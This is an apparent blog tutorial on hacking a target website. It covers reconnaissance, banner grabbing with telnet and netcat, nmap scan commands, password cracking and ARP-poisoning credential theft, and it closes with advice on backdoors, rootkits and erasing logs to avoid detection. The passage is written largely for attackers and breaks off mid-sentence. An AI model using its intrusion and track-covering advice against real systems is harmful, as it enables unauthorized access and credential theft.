How to Hack targeted website(Basic)?

<div dir="ltr" style="text-align: left;" trbidi="on"><br />Today is the age of computer and internet. More and more people are creating their own websites to market their products and earn more profit from it. Having your own website will definitely help you in getting more customer purchasing your products but at the same time you can also also attract hackers to play around with your site. If you have not taken enough care to protect your site from hackers then your business can even come to an end because of these hackers.<br /><br />Before you hack into a system, you must decide what your goals are. Are you hacking to put the system down, gaining sensitive data, breaking into the system and taking the 'root' access, screwing up the system by formatting everything in it, discovering vulnerabilities & see how you can exploit them, etc ... ? The point is that you have to decide what the goal is first.<br /><br />The most common goals are:<br /><br />1. Breaking into the system & taking the admin privileges.<br /><br />2. Gaining sensitive data, such as credit cards, identification theft, etc. - not recommended<br /><br />You should have all of your tools ready before you start the next steps too hacking. There is a Linux version called Backtrack. It is an operating system that comes with various security tools that will help you break into systems.<br /><br />You must decide how you are going to achieve your task. Plan. There is a common methodology followed by hackers, I will mention it below. However, you can create your own methodology if you know what you are doing.<br /><br />Common steps to be taken for hacking a system:<br /><br />1. Reconnaissance (footprinting)<br /><br />2. Scanning<br /><br />3. Ports & Services Enumeration<br /><br />4. Vulnerability Assessment<br /><br />5. Vulnerability Exploitation<br /><br />6. Penetration and Access<br /><br />7. Privilege Escalation & owning the box<br /><br />8. Erase tracks<br /><br />9. Maintaining access<br /><br /><a name='more'></a><br /><br />The above methodology can change based on your goals.<br /><br />Before you break into a system, you have to collect as much info as you can on the system and target. You have to study your target well before you hack. This step is called reconnaissance. Reconnaissance is achieved by using techniques & tools that are undetectable by the target. You are gathering your target's info that is publicly published, e.g. browse your target's website and finding they are looking for an SQL employee and Windows server admin, then you get a hint that they are running Windows Server & do SQL's. This is called a "passive" action.<br /><br />Lets see an example of active action. Example of active action: Call the company to obtain some info, visit the company, email employees to get some info, go to the target's website and read its source code. In other words, passive action means you gather info in a non-intrusive manner. Active action is a step further, such as talking to the company as if you are a customer, things like that. It is not really important to know what action is passive and what is active, the main goal here is to gather info. Simple huh? Good, let me go deeper little bit.<br /><br />In passive reconnaissance, there is a 0% chance of getting caught, as you only target publicly available info to give you the feel on what your target looks like. The type of info you can gather through passive recon. are, names, phones numbers, location addresses, partner networks, and much more. This can aid you when you want to do some social engineering! Hence, sometimes you can get some non-public info that's revealed when you do passive reconnaissance. There are several tools that help you with passive reconnaissance, such as WhoIs (who is). WhoIs helps you obtain extensive info, such as names, domains of the target, etc. Other great tools are, Sam Spade, domain tools, and Google(can reveal lots of target subdomians & many more).<br /><br />Active reconnaissance goes beyond the passive nature, such as communicating with the target without being caught, such as scanning. Anything not discovered in IDS(Intrusion Detection System) is considered active. You have to think of ways to extract info of the company in a normal way, public by going a little bit deeper than passive recon. E.G. You can go to the physical location, do some social engineering, email staff, communicate with employees based on the info you've gotten on your passive recons. Things like that!<br /><br />Example of some techniques for active reconnaissance, such as banner grabbing, view company's public website source code and directory structure, social engineering, shoulder surfing, etc.<br /><br />What the heck is banner grabbing?<br /><br />You let the server send you a block of information that tells you OS version of your target system & various association with it<br /><br />Banner tells OS version and various association. Anything listening on a "port" can determine the operating system (OS) "the port" is running on, this called fingerprinting. In other words, fingerprinting is the process of determining the operating system (OS) or applications used by a remote target.<br /><br />Learn more about banner grabbing:<br /><br />http://www.net-square.com/httprint/httprint_paper.html<br /><br />What is shoulder surfing?<br /><br />Simply, stand behind a person's shoulder and see what the guy is doing & typing on the keyboard. This can happen in a wireless network area where everyone is using a laptop in public areas.<br /><br />In summary, reconnaissance is one of the most important steps in hacking. The main concept is to gather all the info that is publicly available or easily obtainable. Info that we gather will help us in social engineering and research purposes which will lead you to very critical info about the system. It starts by obtaining names, phones, emails, IP range, domain structure, and so on.<br /><br />let me show you how banner grabbing is done, telnet into your target server on port 80 as the following, go to command line or terminal and type<br /><br />telnet xx.xxx.xxx.xxx 80<br /><br />Now the connection is established, that stupid server thinks you are a web browser connected to it, it waits for you to enter commands so the server can you give you info about your request. In this situation, you have to write a command that says "Hey you web server, give me the content of such and such website". However, we do not really want to visit the website through telnet, do you? You can just go to the web browser and request the website from there. Our purpose here is to freak the server out enough, so it spits back a code that says, hey! this doesn't work but here is some info that might help you do some troubleshooting. This technique allows you to fingerprint various components of the target system.<br /><br />Note: instead of telnet xxx.xx.xxx.xx 80, you can do nc xxx.xx.xxx.xxx 80! It's the same thing ... nc stands for netcat ... xx.xxx.xx.xxx represents the IP address of the target system.<br /><br />After you do telnet xxx.xx.xxx.xxx 80, the remote sever will wait for you to enter a command. Type this:<br /><br />HEAD / HTTP/1.0<br /><br />Then you will get a reply looks similar to:-<br /><br />HTTP/1.1 200 OK<br /><br />Date: Mon, 16 Jun 2003 02:53:29 GMT<br /><br />Server: Apache/1.3.3 (Unix) (Red Hat/Linux)<br /><br />Last-Modified: Wed, 07 Oct 1998 11:18:14 GMT<br /><br />ETag: "1813-49b-361b4df6"<br /><br />Accept-Ranges: bytes<br /><br />Content-Length: 1179<br /><br />Connection: close<br /><br />Content-Type: text/html<br /><br />So the header response brought back some important info that says, the server runs: Apache/1.3.23 in UNIX OS for Red Hat distribution of Linux.<br /><br />OR you might get header that looks similar to the following:<br /><br />HTTP/1.1 200 OK<br /><br />Server: Microsoft-IIS/5.0<br /><br />Expires: Tue, 17 Jun 2003 01:41:33 GMT<br /><br />Date: Mon, 16 Jun 2003 01:41:33 GMT<br /><br />Content-Type: text/html<br /><br />Accept-Ranges: bytes<br /><br />Last-Modified: Wed, 28 May 2003 15:32:21 GMT<br /><br />ETag: "b0aac0542e25c31:89d"<br /><br />Content-Length: 7369<br /><br />It means, the server runs: Microsoft-IIS/5.0 in Win 2000 or Win 2003 (we don't the Windows version yet).<br /><br />OR you might get header that looks similar to the following:<br /><br />Date: Thu, 04 Dec 2008 02:18:46 GMT<br /><br />Server: Apache/1.3.41 (Unix) PHP/4.4.8 mod_gzip/1.3.26.1a mod_log_bytes/1.2 mod_bwlimited/1.4 mod_ssl/2.8.31 OpenSSL/0.9.8b<br /><br />Last-Modified: Thu, 10 Jul 2008 23:34:28 GMT<br /><br />ETag: "c9865b-d91-48769c84"<br /><br />Accept-Ranges: bytes<br /><br />Content-Length: 3473<br /><br />Connection: close<br /><br />Content-Type: text/html<br /><br />It means, the server runs: Apache/1.3.41 in UNIX box, running PHP/4.4.8<br /><br />Ok, you get it now?<br /><br />lets say our target got the following version: the server runs: Apache/1.3.41 in UNIX box, running PHP/4.4.8<br /><br />At this point if you know any vulnerabilities for this particular OS or this particular Apache or PHP. You can start the exploitation process...<br /><br />Another example, use program called Sam-Ppade which gives you alot of info about your target. The target does not know actually what we are doing against their server, since they haven't seen anything been triggered by IDS or Firewall.<br /><br />*What is the difference between IDS & Firewall?<br /><br />An IDS (Intrusion Detection System) may only detect and warn you of a violation of your privacy. Although most block major attacks, some probes or other attacks may just be noted and allowed through. There's also an evolution of the IDS called an IPS (Intrusion Prevention System) that watches for the same things an IDS does, but instead of just alerting, it blocks the traffic.<br /><br />A good firewall will block almost all attacks unless specified otherwise or designed otherwise. The only problem is, the firewall might not warn you of the attacks and may just block them.<br /><br />It may be a good idea to have both an IDS and a Firewall, because the IDS will warn you and then the firewall will block the attack. Over the years, firewalls have gotten more complex and added more features. One of these features is actually IDS - today you can have a firewall that already has IDS(Firewall/IDS's are combined into one internet security program).<br /><br />Learn more about banner grabbing:<br /><br />http://www.net-square.com/httprint/httprint_paper.html<br /><br />To learn how to do it through Google, you need the following book:<br /><br />http://www.amazon.com/exec/obidos/ASIN/1.../ref=nosim<br /><br />Note: the book in amazon is just an example for you to give you an idea of what kind of book you should be looking for - if you are interested.<br /><br />Alright, now you at least have an idea of what reconnaissance is! lets talk about scanning...<br /><br />When you scan your target's network, you actually start touching the system. Scanning a network determines what's in there, scanning network gives you the feel of how your target's network is laid out, if there are multiple subnets, which hosts are alive, check ports, see if system is alive, discover available hosts & get info about the discovered hosts. There are thousands of tools can be used to scan networks! Scanning a network can easily get picked up by IDS. Anyhow, no one will pay attention except if you do it over and over because scans happens on such a regular basis on the internet. Therefore, people who read the logs, I mean the webmaster won't really pay attention to every single scan that occurs, so you don't have to worry. There are ways to avoid being picked up by IDS. After you finish scanning, you will gain a list of network nodes that exists there.<br /><br />"Node" is an active electronic device that is attached to a network, and is capable of sending, receiving, or forwarding information over a communications channel. If you want to learn more, Google it or visit http://en.wikipedia.org/wiki/Node_(networking) ...<br /><br />Ok now we want to discover live hosts via scanning. This is the first action taken against your target's network. Depending on what method of scanning you use, you can be detected by IDS. Most admins will ignore detections because it happens alot unless something abnormal happens.<br /><br />There are various scanner tools, e.g. Nmap, Superscan, and many more. There are various scan methods, some are stealthy, others are not.<br /><br />Before I talk about various scanning methods, let me explain to you about TCP connections basics. When you scan your target using TCP communication, there are six TCP flags that can be utilized during packet transmission (packets get transmitted during scanning process). A flag will indicate whether the sent packets are syn, ack, fin, urg, psh, or rst packets. These packets sets you in a position on how you want to communicate with the remote host. You can get different info depending on the flag you choose for the scanning.<br /><br />TCP establishes three handshakes, syn, syn-ack, ack. What are they?<br /><br />When you scan your target using TCP communication, you send a syn packet(syn request), and then target sends you back an ack packet with a syn packet. Now, you send an ack packet to the target. So now both machines establish the connection well, like they have made a well established tunnel for a proper guaranteed communication without losing any packets during communicating with each other. A hacker can get caught easily if he uses this method to hack other systems illegally.<br /><br />Hackers use non-standard combination of these six flags, which gives them info that are not normally available to the public.<br /><br />Have you heard about syn flood?<br /><br />Syn flood is done by utilizing three handshake by sending "syn" request to the target, so the target receives a syn request and send an a syn-ack back to the originator(you). You ignore the target syn-ack request - when you ignore it, then the three handshakes is not completed, this is called a half open TCP connection - In theory, when the target sends you syn-ack, the target allocates some RAM on its machine.<br /><br />The amount of RAM on the target machine must be open until it gets response (ack packet) back from you because till now only two handshake has been made,so the TCP connection process is not completed yet. However, there is always a time limit for the RAM to be opened, so if 30 secs passed by & the target did not get the ack from you, the connection will abort (failed TCP handshake - timeout) & RAM will be allocated.<br /><br />The idea here is to send hell a lot of packets in few secs so in 30 secs, you can send 40 million packets(lets say one packet size is 1kb) which is heavy on the RAM since the RAM might not have enough memory to carry 40 million packets. Therefore, you force the target to make half open TCP connection attempts, so definitely the target machine will stop responding to legitimate request. In other words, if you send 40 million syn requests to that remote host, it's going to allocate a hell of a lot of ram for those requests. After a while, it's going to eat up all of the ram. Thus, target system goes down. This is called syn flood attack.<br /><br />In short, syn flood attack makes the system (i.e. the IP stack or kernel) chokes on the memory allocations (or simply runs out of memory) or the target application (i.e. web server) chokes on the processing load. You got it? Or not yet?! Syn flood is an old technique i just mentioned it here for illustration purposes.<br /><br />General Information: These days, SYN floods are used to make systems inaccessible. They have a limited number of half open connections, you use them all, and they can't accept any more SYNs. But again, modern software throws away old SYNs once the limit is reached. Note that different systems will behave differently.<br /><br />If you interested in learning more about syn flood, visit<br /><br />http://tools.ietf.org/html/rfc4987<br /><br />Lets talk about the most common TCP Scan types. There are full scan, half open scan, stealth scan, Xmas scan, and ack scan.<br /><br />Full scan: this completes 3 way TCP. it is the most effective & gives more accurate results. However, it is not safe and easily traced and detected.<br /><br />Half open scan: it is the second most effective scanning method, only uses first part of the handshake to get syn-ack but does not send 3rd part (ack) back to the remote host. The idea here is if the remote replies back to you after you have sent syn request, this means the port - we sent the syn to - must be open.<br /><br />Stealth scan: the idea here is to scan ports randomly(not in sequential order) & reduce the speed of scanning. If you scan all port from 1 to 65536 in sequence, your more visible to be detected, and usually scanning happens so fast, which is unusual since regular program does not connect to port that fast, so this can make it easier to be detected. Therefore you have to scan ports randomly & reduce the speed of scanning. To avoid IDS, you should not use full connection scan with stealth scan, you can use half-open scan(syn). syn is considered a stealth scan. In fact, syn scan is called syn-stealth scan, or you can use Xmas scan with stealth scan which helps you to evade detection, things like that! you get my point i guess.<br /><br />Xmas scan: uses fin, urg, and push flags which are used to bypass some firewalls. Xmas scan works with UNIX system, it does not work with Windows system.<br /><br />Ack scan: this helps you evading IDS not to get you detected. You send only an ack packet to your target, your target won't know how to deal with it since there was no handshake. Thus, ack scan causes open ports in your target machine to return a reset packet(rst), rst packet gives you a hint that the port or service is not filtered between point A and point B, which usually firewall resides in between! Since the port replied you with rst packet this means there is no firewall between A(your machine) & B(port or service on the target machine) and rst packet also gives you an insight that the target port is open ;-). If there is a firewall, your ack packet would not reach to the target port & because of that you won't get any rst packet. In addition, rst packet helps you identify what system is running on the remote host.<br /><br />These are the most common method of scans, there are hundreds of scanning methods! Nmap allows you to set your own custom scan type e.g. instead of sending ack flags only, you can send ack flag and rst flag together and see what you get back from target ...<br /><br />OK! we have talked about how TCP scanning works in general. Now, I will be talking about UDP & ICMP Scanning ... UDP and ICMP connections most of the times are blocked at the firewall level & even at the host level in some cases. We are going to scan on hosts & ports that respond via UDP. When you scan your target via UDP, there are many problem will occur during that process e.g. you can scan over the ports via UDP, assume you scanned port 1, and port 1 is closed, then host will send ICMP unreachable back to you, which gives an insight that port is closed because you didn't get any UDP response back from target! Making sense,right? Unfortunately, we will never get a response back from target to ensure you that port is open!<br /><br />That's how UDP call works, send the packet & forget it. Lets say we come across port 21, and 21 is open, then port 21 on target machine will not reply back to you because UDP does not give you the guarantee the delivery packets during communication process, it just send the packet and forget, unlike TCP which guarantees the delivery of packets with no loss or corruption. Since we didn't get reply back, then we can assume the port 21 is open *OR* maybe port 21 is closed and ICMP reply got lost somewhere so we didn't get it! A general rule, when you don't get a reply you assume port is open.<br /><br />Some high professional security person purposely configure ports to not respond to UDP scanning. ICMP scanning is as same as UDP. ICMP scanning is noisy & can be picked by IDS very easily because ICMP sends random several pings to the network instead of a single host (ICMP scanning does a 'ping scanning' - sends ICMP packets - to the whole network instead of a single host). After you finish ICMP scanning, based on the replies you get back from the live hosts, then you can determine that your target network is listening for ICMP traffic and you might to do some exploit based on that. Unfortunately, there aren't alot of ICMP exploits going around, so you are just going to use ICMP for network enumeration, you just do it to see what hosts are up, host A is up , host B is up and host C is up, they are replying for my ICMP. Thus, this let us know these 3 hosts are running on the targeted network and potentially can be a target for us. IDS's are always listening for network scans & alot of network scanners provide a support for ICMP scanning, but do not have a way to make it stealthy! Therefore, ICMP can turn on the IDS alert which tells the security person there is somebody scans your whole network.<br /><br />Nmap is a great tool that is very popular, it is usually used to scan networks, hosts, ports, and does alot of other stuff. It is very intrusive tool and considered a hacking tool. Using Nmap against systems you don't own or don't have permission to scan can be considered illegal. Lets see examples of some scanning method!<br /><br />Example of ICMP Scanning(-sP) - this is called ping scan<br /><br />nmap -v -sP xx.xxx.xxx.xx > filename<br /><br />Nmap: represents the program we are running which Nmap.<br /><br />-v: for increased verbosity, which means bring me extra details of the targeted system. (Optional - as far as i know)<br /><br />-sP: the flag that determines the scanning method.<br /><br />x's: target IP address.<br /><br />> filename: output the results to the newly specified file name. In other words, save results in a file (Optional)<br /><br />This above command shows you the systems that are up and running, so this shows what is available to us on the targeted network. As a result, you will get simple info that shows you there number of IP addresses that responded to ping request - Note: there could be alot more machines out there that are not responding to ICMP scanning.<br /><br />Lets see an example of UDP scan, UDP scan not so speed.<br /><br />nmap -v -sU xx.xxx.xxx.xx<br /><br />Results of UDP scan(-sU) give more info than ping scan(-sP). Keep in mind there could be hundreds of other ports are listening on the system which simply don't respond to UDP connection.<br /><br />Useful sources relates to scanning methods via Nmap:<br /><br />http://www.nmap-tutorial.com/pdf/nmap-tutorial.pdf<br /><br />http://www.petri.co.il/port-scanning-with-nmap.htm<br /><br />ALRIGHT, now you have a good basic understanding about scanning! Next, i will be talking about fingerprinting!<br /><br />Now lets get deeper! By now we have determined what nodes are running up on the network. So we are ready to gather large info on those live systems we discovered in the previous steps. Ok! now you need to discover what services (application) are running on your target's host. Every (or at least many) port has a service running on it. For example, web server usually are running on port 80. What we have to do is scan ports, see what kind of services(applications) are running on them, try to grab the versions of the services, this will help you to determine the OS as well. This is called 'Port & Service Enumeration(fingerprinting)'. We have to do this step to understand what potential vulnerabilities your target has & how to exploit them.<br /><br />Assume after we have scanned our target system, we found our target runs "IIS 5.0 Server" on "port 80". Based on the scanning result, you can say the target server is running IIS 5.0(IIS is set of Internet-based services, IIS is the second most popular web server - IIS is a Microsoft product), it is known IIS 5.0. has too many vulnerabilities & IIS 5.0 runs on Windows 2000, which Windows 2000 by itself has hundreds of vulnerabilities..<br /><br />In other words, lets scan ports and services, and do OS fingerprinting, lets identify services on those live host in our target network. Once we know what services are running and what OS are running then we can start exploiting these services! - 'ping/port/service' scans are frequently run together using the same tool.<br /><br />NOTE: Identifying ports & services is the most critical part in hacking... PERIOD<br /><br />OS fingerprinting is used for determining OS type and version, then we exploit vulnerabilities that resides into the OS. When you fingerprint a target, your targets' OS can be known from the TCP/IP stack, so fingerprinting happens on TCP/IP stack. Why? Because each OS has a unique implementation of TCP/IP, so TCP/IP stack is implemented differently from OS to OS, so an exact same query sent to one machine the respond of the result will be different than the other machine. Therefore, based on the response this can help the scanner determines the OS of the target, because every OS has its own unique response when you do OS fingerprinting request.<br /><br />When you do a default install of OS, certain services will be installed by default, services that are needed for that OS to work properly, e.g. ports<br /><br />137,138,139,and 445 which all combined together to produce Win 2000 OS or above. Another example, a combination of 139 and 445 can determine a certain version of windows such as Win XP or Win 2003, there are lots of ways to determine OS. Another example, if you see a service MS SQL is running on a certain port, you can determine the target OS is not in *nix family, it is in a Win family cause the target is running a Microsoft sql product. Thus, we can say port enumeration or service enumeration can help you in determining OS.<br /><br />There tons of popular scanners out there:<br /><br />SuperScan - Works good on Win OS.<br /><br />Nmap - Works on *nix & Windows, *nix version is much more stable than Win version.<br /><br />Most scanners offer full, half, stealth, and UDP scans.<br /><br />You are goning to spend most of your time scanning your target machine to know whats available there, so you can exploit the vulns & penetrate the system. Therefore, you have to do some exploration on scanning methods & decide which method of scanning you feel more comfortable with...<br /><br />Lets see an example of enumeration style scanning. Just keep in mind, this can be considered hacking! Make sure you do to your system, not somebody's else.<br /><br />This is kind of a stealth scan:<br /><br />nmap -v -sS -A -sV xx.xxx.xx.xx > filename<br /><br />This above request gives you very specific details about your target. sV is for version information identification. Check out the manual to know what these flags do - type "man nmap" to see the manual...<br /><br />Alright, after we have fingerprinted services & OS, now its the time to check for various vulnerabilities against application(services) & OS running on the target system. This is called vulnerability assessment. To do vulnerability assessment, you can use the tools available, such as Nessus. Nessus is free vulnerability assessment, huge database, its the best assessment tool.<br /><br />Lets scan vulnerabilities on the target system. Lets say target system is Win 2000 SP1 IIS 5.0, Nessus goes back to its database and check the vulnerabilities for Win2000 & IIS 5.0. If there are no vulnerabilities discovered,the vulnerability assessment tool actually can't catch it. However, if Nessus couldn't find matching vulnerabilities for the target system, it will let you know if the system has some security issues or not. Such tools are considered as Automated Vulnerability Assessment Tools. You have to know about the target system OS so you can do vulnerability assessment on it. There are vulnerability assessment OS specific, e.g. MBSA tool (only scans Win OS).<br /><br />NOTE: you can do vulnerability assessment manually, this depends on you and your skills. By doing it manually, you can discover vulnerabilities that nobody knows about, and you can use it for your own use. It is a powerful and very discrete.<br /><br />After we determined what systems & what services contain what vulnerability, then we can exploit it (means take a chance of this vulnerability to achieve what you want).<br /><br />common vulnerabilities out there are:<br /><br />OS vulnerabilities<br /><br />Webserver vulnerabilities<br /><br />Database vulnerabilities<br /><br />TCP stack vulnerabilities<br /><br />Application vulnerabilities<br /><br />Malwares, viruses, trojans, can be used to exploit vulnerabilities.<br /><br />There are several automated vulnerability scanners, such as Nessus, Nikto. Security websites is a good resource for vulnerabilities as well, e.g. bugtraq, CVE(Common Vulnerabilities and Exposures) sites, etc. Another good source to find vulnerabilities is hacker web sites.<br /><br />Lets talk about the tools:<br /><br />*Nessus - this is a great vulnerability assessment tool. However, in a lot of cases it will perform exploits to see if the OS or service is actually vulnerable or not.<br /><br />*Metasploit Framework - this is not vulnerability assessment tool. It is an exploitation tool, it contains hundreds of exploits helps you to exploit the system by using a nice selection of tools.<br /><br />I will explain shortly about the common vulnerabilities...<br /><br />OS Vulnerabilities: OS exploits are used to gain access to the system. OS exploits can used for DoS attacks too. watch the video tutorial. Most OS holes exist from default configuration, services and applications.<br /><br />Webserver Vulnerabilities: webservers are the most targeted section. All people contact the webserver, thus you never know the diffference between a hacker and a normal user. Webservers examples, Apache, IIS, and Tomcat. After you exploit the vulnerability in your target webserver, you can gain many different things, such as root access(the gist), website defacement, DoS(put the server down), theft or alteration data on server, or further penetration into the network.<br /><br />Webserver is a great place to start when you want to do a penetration test!<br /><br />Database Vulnerabilities: those software vendors who create databases applications such as SQL, Oracle, etc - they dont have security in mind, they care more into efficiency and how to make it easy for the users to handle with the database. They care about making their customers happy without giving that much attention in security issues!<br /><br />TCP Stack Vulnerabilities: this is not a common used method to hack systems. Google it!<br /><br />Application Vulnerabilities: some examples of application vulnerability, buffer overflow, weak authentication mechanisms, poor data validation(the most common one), and poor error checking.<br /><br />ALRIGHT, to discover these vulnerabilities on the target machine you need to do vulnerability assessment. This can be done in two ways, manually or automatically. Manually means you try to discover a vulnerability. by yourself which eventually you will have a vulnerability that nobody else knows about and you can use it for yourself or publish it to security sites. Automatically means you rely on a tool that searches for vulnerabilities in the target machine, this tool has a database full of vulnerabilities, so this 'tool' will only inform you the vulnerabilities found in the target machine by relying on 'its' database. We are going to talk about auto vulnerability assessment. The most common and wonderful tool is Nessus, its free open source code!<br /><br />A lot of common sense comes into play when analyzing vulnerabilities, for example you do not look for a database vulnerability in a webserver, things like that. Another resources, OVAL - gives you a good and basic foundation of vulnerabilities assess. methodology, FrSIRT - keeps track of vulnerabilities and make exploits of these vulnerabilities, you can join a paid subscription and then browse vulnerabilities available in their database and download exploits this is a good source for hacking or security, and websites for posting exploits such as milw0rm, hacking sites.<br /><br />Lets have a closer look at nessus tool, nessus is client/server architecture. The process of setting it up is cumbersome. Nessus have about 9000 plugins, therefore it takes time to perform the assessment. Results can be reviewed in a report. The report includes the vulnerabilities found on the target machine with a short description about the vulnerability.<br /><br />Note: you can enable several plug-ins in plugin tab. You can specify range of ports through scan options. To specify the target, you should go to the target tab.<br /><br />Once we have done the vulnerability assessment, and knew what vulnerabilities exit. We start gathering exploits of the found vulnerabilities to penetrate the system.<br /><br />Lets talk about penetration and access! After all information we have gathered previously, its the time to break the system with the exploits you have.<br /><br />Its the time to stop gathering information and start breaking into system. The ultimate goal is to gain the highest level of permissions. Try to use undiscovered techniques and methods. Think out of the box!<br /><br />Some of exploits that enable penetration are:<br /><br />*Buffer overflows<br /><br />*Stack exploits<br /><br />*Web vulnerabilities<br /><br />*Services/apps that allow unauthenticated access.<br /><br />Aside from the standard methods of penetration, lets see an penetration methods, here are some examples:<br /><br />*SQL Injection - ability to change queries in the application before its sent into database.<br /><br />*Application Error Handling - this can result DoS. Probably one of the most common vulnerability you can find in corporate arenas.<br /><br />*Directory Traversal - browse directories you should not be able to do so on.<br /><br />*Malformed Packets - one of the more difficult methods of penetration, requires very extensive knowledge of how TCP packets are assembled and disassembled. But once you get used to it, its probably the most effective ways of hacking.<br /><br />*Bypassing Access Controls - password cracking is most common means of accessing systems.<br /><br />*Social Engineering - i guess you know what it means.<br /><br />*Sniffers - take passwords right off the wire, a lot of protocols and applications such as http & ftp communicate passwords over the wire in plain text.<br /><br />*Session hijacking - it is similar to sniffers, but you don't gain a password because we take off the entire session, hijack the slave's session & act as you are him.<br /><br />Usually when you get passwords, you get it encrypted, or hashed or hidden in some way or another. Password cracking can be done in several ways, examples:<br /><br />*Brute Force Attack - Every password, can and will be broken by brute force attack. It is about the time. Depends on the size of the password.<br /><br />*Dictionary Attack - less effective than brute force, relies on list of words or phrases.<br /><br />*Hybrid Attack - combination of different tools. It is a combination of effectiveness of brute force and dictionary attacks & often using other attack mechanisms, such as cryptanalysis attack (one of the hybrid attack).<br /><br />You should know that when you do sniffing, you often get usernames & passwords in plain text. However, you can get encrypted passwords from sniffing as well. You will need to use of the cracking techniques discussed above. Sometimes cracking an encrypted passwords can take secs, hours, days, months, or even more!!!<br /><br />There is a great software called "Cain & Abel", it sniffs passwords from the wire, cracks it, etc. Once you install it, go to sniffers tab, then move to the found passwords in cracker tab to see what you have got! There is a lot to it. You should know these techniques as a security person cause if you don't know it, a black hat will take care of it.<br /><br />Now, assume we already have hacked the system. We will try to do different things, such as getting the root, etc. Penetration & compromise have differences in the meaning. Hacking into system does not mean you have compromised (taking the full control - take over) the system. After you penetrate the system, you can grab the session between client and server, e.g. you keep listening on login sessions, so when the remote user login to Google, the session is dropped to you, once you get the session, the remote user won't be able to get into his account he/she will see at page goes blank (disconnected), so he/she may think its a problem in a connection, thus he/she tries to login again & everything works fine! BUT you already got his session, you won't have to go through login page when you want to see his/her email inbox, cause its already among the whole session you have taken.<br /><br />Another way to do this, lets say the attacker has compromised the user's system, thus the attacker can let the session drop on his machine, then he takes the session, reads and saves it. After that, he redirects the user to the server, this step will make everything works ok like nothing wrong happen.<br /><br />Lets see an example of the above explained steps, after attacker installs "Cain & Abel" application, he moves to "attack base system" & click the sniffer button at the top & click the yellow button(APR Poisoning Button) besides the sniffer button. This APR Poising button trick the attacked system to talk to the attacker instead of normally who it talks to. For testing purposes, go and add various system addresses(IP's) to the list. Let say one of the user amongst those targeted IP's logon into 'Google', at the authentication process you will notice varies pieces of info comes to you. You are gathering info by getting into the middle of the communication process. Now view the files you have got in the list, you can see among the lines the username & password of the users' 'Google' account in plain text! So how dangerous this can be to your privacy! So be careful....<br /><br />Once the hacker gains access to the system. He aims for admin(root) access. He moves up from guest level, to user level, up to root level. Owning the box, means take the system & prevent the admin from controlling the system, as well as preventing other hackers from getting in. So hackers usually move on from the regular level, to the admin level so they can have full control. A hacker needs privilege escalation to compromise the system well. Some exploits allow buffer/stack overflows to obtain admin access. All it takes is a guest user, then a hacker can perform exploitations locally and there he goes to the root.<br /><br />At this point, we did everything up to owning the box. Now our goal is to protect our access. Thus, we want to maintain our access to that hacked system, so we can use it later. You can maintain a system by using such tools, backdoor accounts, backdoor software programs, rootkits, etc. These tools help you maintain access. Some hackers own the box close all other accounts except his account, so the security person shut the system down, reformat the system and start over again.<br /><br />By doing this, hacker account will be gone. Once we ensure we have maintained our access to the system, then we want to expand ourselves to other parts of the network. Remember, if you do not do this on your own network, somebody else will take care of it. If he does, i do not think you will be too happy! Once you got an access, and could maintain it successfully. You want to prevent detection or loss of access. There are several methods to maintain access, such as rootkits, OS exploits, erase tracks, install trojans that make you access backdoor, enable null sessions (webmaster usually go to the registry & disable null sessions to keep that vulnerability from being exploited, webmasters usually do it once and do not get back to it. You can go there & enable it - NOTE: by enabling null sessions you can give other hackers a chance to hack too), and many more.<br /><br />There different ways of system compromise, system compromise usually depends on your goal, examples of system compromising are root access(ultimate goal), data access/theft, DoS, and many more. Keep in mind, compromised systems can be detected after a while.<br /><br />Now after a hacker breaks into the system, he tries to protect what he has hacked & erase his tracks. During the attack process try not to be detected so the webmaster don't shut the server off, as well as do not forget to erase your tracks, e.g. you don't want the webmaster to see lots of failed logon in the log files, so you erase tracks to prevent future detection. Typically, get in the network as a shadow or ghost.<br /><br />There are many method to evade those IDS so they don't cut off your attack stream. Common methods for evading defenses might be by fragmenting packets(some programs do that e.g. fragroute), port redirects, encoders(change the flow, the look, and feel of various traffics to pass firewall). After you get in and deceive defenses, you want to go to the log files and erase your tracks. Remember: sometimes you get in a user account then you get into a root by changing permissions of the user account, so you have to remember to set this user permissions back to as it was, things like that - you know what i mean, put yourself in a hackers shoe. Don't delete the whole log files, this can make the security person more suspicious. We want to leave everything as it was so nobody can get a feel that an intruder was here.<br /><br />To be safe, you should know where your actions are recorded, delete log files and other evidences that can get you caught, steganography (Google it), and evading IDS & firewalls. All actions are recorded in some place on the system or the network. Assume IDS detects you, what do security persons do? Usually when you get detected, they may cut off all the ways for you so you don't get a chance to penetrate, they probably going track you down, or they may decide let you go but watch you the entire time.<br /><br />Where are your actions recorded and what things can let security person knows that you hacked his system? they are recorded in log files for various applications(e.g. IIS & Apache log files), file access times(note: there are tools for hackers that allow you to modify file access time), windows registry entries, hacker tools left behind (be aware of the residual configuration you have left behind - make sure you set all the configurations back to as it was), OS performance stats, IDS, proxy servers(make sure how you send and receive data. If you are going to use proxy server, set up a permanent tunnel through the proxy to the remote host that is compromised), and firewalls(usually very rich with logs).<br /><br />There are various types of IDS, IDS can set anywhere in the network. There are network based IDS, host based IDS, and application based IDS.<br /><br />Deleting evidences of your hack is extremely difficult, it requires you have a very high knowledge of the system you are trying to compromise(all the prior steps we did, such as scanning, foot printing, etc will be handy to compromise the system). It is easy to cover the known log files, such as web logs, firewall, IDS logs, etc. However, it is important to know how the default logs work. Highly skilled hackers, study the target well & take the time in fingerprinting & footprinting everything properly. It may take him up to one week before he hacks the target, but when he penetrates his job is done more smoothly & quietly. Unlike, the other ones who are just using some tools to break the system as fast as possible without studying the target well.<br /><br />It is possible to delete log files! It is simple but usually requires admin access. Some files/logs may be deleted automatically with reboot. Don't delete log files, it brings up suspicion. If you do so, the security person can indicates very clearly that a hacker broke into the system.<br /><br />Most common way of hiding your tracks is by using a rootkit. Rootkit is set of tools used by an attacker after the attacker gets the root-access to system. Rootkits conceals(to keep from being observed) attacker activities on the hacked system. Once rootkit set on the system, its practically impossible to rid of it because rootkit uses technology, called "hooks", that usually most of the time embed itself into various components of OS & effectively the OS going to be a toaster when the rootkit is all set and done. Security person has to rebuild his machine when rootkit is detected after we properly investigate it.<br /><br />Steganography its about hiding a file into another file. Like hiding a malware into a normal software which makes it difficult for firewall or AV to detect the malware. That's the basic concept of Steganography. There are alot of tools out there allow us to hide files inside another files.<br /><br />You can evade IDS & firewalls by using random slow stealth scanning technique so traffic goes unnoticed, this takes longer to scan but makes detection more difficult. Try to use non-standard techniques, think outside the box.<br /><br />Remember: not everyone out there is a security expert. To secure your system well, you need to put yourself in a hacker set of mind.<br /><br />By now, you have learned the basic methodology that hackers use to 